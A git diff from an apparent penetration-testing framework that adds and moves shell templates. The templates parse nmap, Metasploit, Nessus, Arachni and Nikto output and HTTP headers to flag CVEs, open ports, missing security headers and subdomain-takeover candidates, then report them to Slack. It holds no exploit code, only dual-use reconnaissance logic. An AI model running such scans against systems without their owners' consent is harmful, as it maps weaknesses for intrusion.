@ -5,4 +5,5 @@ MATCH="SMBv1"
SEVERITY='P3 - MEDIUM'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
SECONDARY_COMMANDS=''
TYPE="network"

9
templates/passive/network/SSH_Version_Disclosure.sh Normal file
View File

@ -0,0 +1,9 @@
AUTHOR='@xer0dayz'
VULN_NAME='SSH Version Disclosure'
FILENAME="$LOOT_DIR/output/msf-$TARGET-*-ssh_version.txt"
MATCH="\[\+\]"
SEVERITY='P4 - LOW'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
TYPE="network"

3
templates/passive/Subjack_Takeover_Detected.sh → templates/passive/network/Subjack_Takeover_Detected.sh
View File

@ -5,4 +5,5 @@ MATCH='anima|bitly|wordpress|instapage|heroku|github|bitbucket|squarespace|fastl
SEVERITY='P2 - HIGH'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
SECONDARY_COMMANDS=''
TYPE="network"

3
templates/passive/Subover_Takeover_Detected.sh → templates/passive/network/Subover_Takeover_Detected.sh
View File

@ -5,4 +5,5 @@ MATCH='netlify|wordpress|instapage|heroku|github|bitbucket|squarespace|fastly|fe
SEVERITY='P2 - HIGH'
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
SECONDARY_COMMANDS=''
TYPE="network"

12
templates/passive/network/recursive/Component_With_Known_Vulnerabilities_-_NMap.sh Normal file
View File

@ -0,0 +1,12 @@
AUTHOR='@xer0dayz'
VULN_NAME='Component With Known Vulnerabilities - NMap'
FILENAME="$LOOT_DIR/output/nmap-$TARGET.txt $LOOT_DIR/output/nmap-$TARGET-*.txt"
MATCH="CVE\-"
GREP_OPTIONS='-ih'
TYPE="network"
rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
egrep "$GREP_OPTIONS" "$MATCH" $FILENAME | awk -v AWK_TARGET="$TARGET" '$5=AWK_TARGET{print "P3 - MEDIUM, Components with Known Vulnerabilities - NMap, " $5 ", " $2 " " $3 " " $4}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt

13
templates/passive/network/recursive/Interesting_Ports_Found.sh Normal file
View File

@ -0,0 +1,13 @@
AUTHOR='@xer0dayz'
VULN_NAME='Interesting Ports Found'
FILENAME="$LOOT_DIR/nmap/ports-$TARGET.txt"
MATCH="21\ |22\ |23\ |137\ |139\ |445\ |8080\ |8443\ |3306\ |5900\ |53\ |8081\ "
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SECONDARY_COMMANDS=''
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
TYPE='network'
rm -f /tmp/match.out 2> /dev/null
cat $FILENAME 2> /dev/null | egrep $GREP_OPTIONS "$MATCH" $SECONDARY_COMMANDS 2> /dev/null >/tmp/match.out && echo "$SEVERITY, $VULN_NAME, $TARGET, $(cat /tmp/match.out | tr '\n' ' ' | sed -r "s/</\&lh\;/g")" | tee "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null && /bin/bash "$INSTALL_DIR/bin/slack.sh" "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(cat /tmp/match.out | tr '\n' ' ') (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" && echo "[xerosecurity.com] •?((¯°·._.• [+] [$SEVERITY] $VULN_NAME - $TARGET - EVIDENCE: $(cat /tmp/match.out | tr '\n' ' ' | sed -r "s/</\&lh\;/g") (`date +"%Y-%m-%d %H:%M"`) •._.·°¯))؟•" >> $LOOT_DIR/scans/notifications.txt || rm -f "$LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt" 2> /dev/null
rm -f /tmp/match.out 2> /dev/null

14
templates/passive/network/recursive/Nessus_Import.sh Normal file
View File

@ -0,0 +1,14 @@
AUTHOR='@xer0dayz'
VULN_NAME='Nessus Import'
FILENAME="$LOOT_DIR/output/nessus-report_$TARGET_*.csv"
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
TYPE="network"
rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
grep Critical $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F ' ' '{print "P1 - CRITICAL, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
grep High $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F ' ' '{print "P2 - HIGH, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
grep Medium $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F ' ' '{print "P3 - MEDIUM, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
grep Low $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F ' ' '{print "P4 - LOW, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
grep None $FILENAME | egrep "tcp|udp" | cut -d, -f4,5,6,7,8,9 | tr \" " " | tr \, " " | sort -u | awk -F ' ' '{print "P5 - INFO, " $5 ", " $2 ":" $4 ", " $6}' | grep -v 'was found to be open' | grep -v "None" >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt

0
templates/passive/Autocomplete_Enabled.sh → templates/passive/web/Autocomplete_Enabled.sh
View File

0
templates/passive/CORS_Policy_-_Allow-Credentials_Enabled.sh → templates/passive/web/CORS_Policy_-_Allow-Credentials_Enabled.sh
View File

0
templates/passive/CORS_Policy_-_Allow-Origin_Wildcard.sh → templates/passive/web/CORS_Policy_-_Allow-Origin_Wildcard.sh
View File

21
templates/passive/web/CSP_Not_Enforced.sh Normal file
View File

@ -0,0 +1,21 @@
if [ "$SSL" = "true" ]; then
AUTHOR='@xer0dayz'
VULN_NAME='CSP Not Enforced'
FILENAME="$LOOT_DIR/web/headers-https-$TARGET.txt"
MATCH="content-security-policy"
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='negative'
SECONDARY_COMMANDS=''
URI=""
else
AUTHOR='@xer0dayz'
VULN_NAME='CSP Not Enforced'
FILENAME="$LOOT_DIR/web/headers-http-$TARGET.txt"
MATCH="content-security-policy"
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='negative'
SECONDARY_COMMANDS=''
URI=""
fi

2
templates/passive/Clear-text_Communications_HTTP.sh → templates/passive/web/Clear-text_Communications_HTTP.sh
View File

@ -7,4 +7,6 @@ if [ "$SSL" = "false" ]; then
GREP_OPTIONS='-i'
SEARCH='positive'
SECONDARY_COMMANDS=''
else
break
fi

4
templates/passive/Clickjacking.sh → templates/passive/web/Clickjacking.sh
View File

@ -8,7 +8,7 @@ if [ -f $LOOT_DIR/web/headers-http-$TARGET.txt ]; then
GREP_OPTIONS='-i'
SEARCH='negative'
SECONDARY_COMMANDS=''
URI="/"
URI=""
else
AUTHOR='@xer0dayz'
VULN_NAME='Clickjacking HTTPS'
@ -18,6 +18,6 @@ if [ -f $LOOT_DIR/web/headers-http-$TARGET.txt ]; then
GREP_OPTIONS='-i'
SEARCH='negative'
SECONDARY_COMMANDS=''
URI="/"
URI=""
fi
fi

2
templates/passive/Drupal_Detected.sh → templates/passive/web/Drupal_Detected.sh
View File

@ -1,7 +1,7 @@
AUTHOR='@xer0dayz'
VULN_NAME='Drupal Detected'
FILENAME="$LOOT_DIR/web/headers-htt*-$TARGET.txt"
MATCH='X-Generator: Drupal '
MATCH="X\-Generator\:\ Drupal\ "
SEVERITY='P5 - INFO'
GREP_OPTIONS='-i'
SEARCH='positive'

0
templates/passive/Expired_SSL_Certificate.sh → templates/passive/web/Expired_SSL_Certificate.sh
View File

0
templates/passive/Insecure_Cookie_-_HTTPOnly_Not_Set.sh → templates/passive/web/Insecure_Cookie_-_HTTPOnly_Not_Set.sh
View File

0
templates/passive/Insecure_Cookie_-_Secure_Not_Set.sh → templates/passive/web/Insecure_Cookie_-_Secure_Not_Set.sh
View File

0
templates/passive/Insecure_SSL_TLS_Connection.sh → templates/passive/web/Insecure_SSL_TLS_Connection.sh
View File

4
templates/passive/Insecure_SSL_TLS_Connection_CN_Mismatch.sh → templates/passive/web/Insecure_SSL_TLS_Connection_CN_Mismatch.sh
View File

@ -8,4 +8,6 @@ if [ "$SSL" = "true" ]; then
SEARCH='positive'
SECONDARY_COMMANDS=''
URI="/"
fi
else
break
fi

0
templates/passive/Interesting_Title_Found.sh → templates/passive/web/Interesting_Title_Found.sh
View File

0
templates/passive/Server_Header_Disclosure.sh → templates/passive/web/Server_Header_Disclosure.sh
View File

12
templates/passive/web/Strict_Tranposrt_Security_Not_Enforced.sh Normal file
View File

@ -0,0 +1,12 @@
if [ "$SSL" = "true" ]; then
AUTHOR='@xer0dayz'
VULN_NAME='Strict Tranposrt Security Not Enforced'
FILENAME="$LOOT_DIR/web/headers-https-$TARGET.txt"
MATCH="strict-transport-security"
SEVERITY='P4 - LOW'
GREP_OPTIONS='-i'
SEARCH='negative'
SECONDARY_COMMANDS=''
else
break
fi

0
templates/passive/Trace_Method_Enabled.sh → templates/passive/web/Trace_Method_Enabled.sh
View File

0
templates/passive/X-Powered-By_Header_Found.sh → templates/passive/web/X-Powered-By_Header_Found.sh
View File

39
templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTP.sh Normal file
View File

@ -0,0 +1,39 @@
AUTHOR='@xer0dayz'
VULN_NAME='Arachni Vulnerability Scan - HTTP'
FILENAME="$LOOT_DIR/web/arachni-$TARGET-webscan-http.txt"
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
rm -f /tmp/report.txt
touch /tmp/report.txt
x=0
cat $FILENAME | egrep 'Proof\:|URL\:|Severity\:|\[\+\]\ \[' | sed 's/\n//g' | awk '{print $3 " " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10 " " $11 " " $12 " " $13 " " $14 " " $15}' | tr -d '"' > /tmp/out
# DELETE FIRST LINE
sed -i '1d' /tmp/out
cat /tmp/out | while read line; do
x=$(( x+1 ))
if [ $x -eq "1" ]; then
echo "$line," | tr -d '\n' >> /tmp/report.txt
elif [ $x -eq "2" ]; then
if [[ $line =~ .*Critical.* ]]; then
echo "P1 - CRITICAL," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*High.* ]]; then
echo "P2 - HIGH," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*Medium.* ]]; then
echo "P3 - MEDIUM," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*Low.* ]]; then
echo "P4 - LOW," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*Informational.* ]]; then
echo "P5 - INFO," | tr -d '\n' >> /tmp/report.txt
fi
elif [ $x -eq "3" ]; then
echo "$line," | tr -d '\n' >> /tmp/report.txt
elif [ $x -eq "4" ]; then
echo "$line" >> /tmp/report.txt
x=0
fi
done
cat /tmp/report.txt | awk -F',' '{print $2 ", " $1 ", " $3 ", " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt

39
templates/passive/web/recursive/Arachni_Vulnerability_Scan_-_HTTPS.sh Normal file
View File

@ -0,0 +1,39 @@
AUTHOR='@xer0dayz'
VULN_NAME='Arachni Vulnerability Scan - HTTPS'
FILENAME="$LOOT_DIR/web/arachni-$TARGET-webscan-https.txt"
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
rm -f /tmp/report.txt
touch /tmp/report.txt
x=0
cat $FILENAME | egrep 'Proof\:|URL\:|Severity\:|\[\+\]\ \[' | sed 's/\n//g' | awk '{print $3 " " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10 " " $11 " " $12 " " $13 " " $14 " " $15}' | tr -d '"' > /tmp/out
# DELETE FIRST LINE
sed -i '1d' /tmp/out
cat /tmp/out | while read line; do
x=$(( x+1 ))
if [ $x -eq "1" ]; then
echo "$line," | tr -d '\n' >> /tmp/report.txt
elif [ $x -eq "2" ]; then
if [[ $line =~ .*Critical.* ]]; then
echo "P1 - CRITICAL," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*High.* ]]; then
echo "P2 - HIGH," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*Medium.* ]]; then
echo "P3 - MEDIUM," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*Low.* ]]; then
echo "P4 - LOW," | tr -d '\n' >> /tmp/report.txt
elif [[ $line =~ .*Informational.* ]]; then
echo "P5 - INFO," | tr -d '\n' >> /tmp/report.txt
fi
elif [ $x -eq "3" ]; then
echo "$line," | tr -d '\n' >> /tmp/report.txt
elif [ $x -eq "4" ]; then
echo "$line" >> /tmp/report.txt
x=0
fi
done
cat /tmp/report.txt | awk -F',' '{print $2 ", " $1 ", " $3 ", " $4 " " $5 " " $6 " " $7 " " $8 " " $9 " " $10}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt

12
templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTP.sh Normal file
View File

@ -0,0 +1,12 @@
AUTHOR='@xer0dayz'
VULN_NAME='Nikto Vulnerability Scan - HTTP'
FILENAME="$LOOT_DIR/web/nikto-$TARGET-http-port443.txt"
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
MATCH="\+"
GREP_OPTIONS='-ih'
rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
egrep "$GREP_OPTIONS" "$MATCH" $FILENAME | grep -v "Target\ " | awk -v AWK_TARGET="$TARGET" '$50=AWK_TARGET{print "P4 - LOW, Nikto Vulnerability Scan - HTTP, http://" $50 ", " $2 " " $3 " " $4 " " $5 " " $6 " " $7 " " $8" " $9 " " $10 " " $11 " " $12" " $13 " " $14 " " $15 " " $16 " " $17 " " $18 " " $19 " " $20 " " $21 " " $22 " " $23 " " $24 " " $25}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt

12
templates/passive/web/recursive/Nikto_Vulnerability_Scan-HTTPS.sh Normal file
View File

@ -0,0 +1,12 @@
AUTHOR='@xer0dayz'
VULN_NAME='Nikto Vulnerability Scan - HTTPS'
FILENAME="$LOOT_DIR/web/nikto-$TARGET-https-port443.txt"
OUTPUT_NAME=$(echo $VULN_NAME | sed -E 's/[^[:alnum:]]+/_/g')
MATCH="\+"
GREP_OPTIONS='-ih'
rm -f $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt 2> /dev/null
egrep "$GREP_OPTIONS" "$MATCH" $FILENAME | grep -v "Target\ " | awk -v AWK_TARGET="$TARGET" '$50=AWK_TARGET{print "P4 - LOW, Nikto Vulnerability Scan - HTTPS, https://" $50 ", " $2 " " $3 " " $4 " " $5 " " $6 " " $7 " " $8" " $9 " " $10 " " $11 " " $12" " $13 " " $14 " " $15 " " $16 " " $17 " " $18 " " $19 " " $20}' >> $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt
cat $LOOT_DIR/vulnerabilities/sc0pe-$TARGET-$OUTPUT_NAME.txt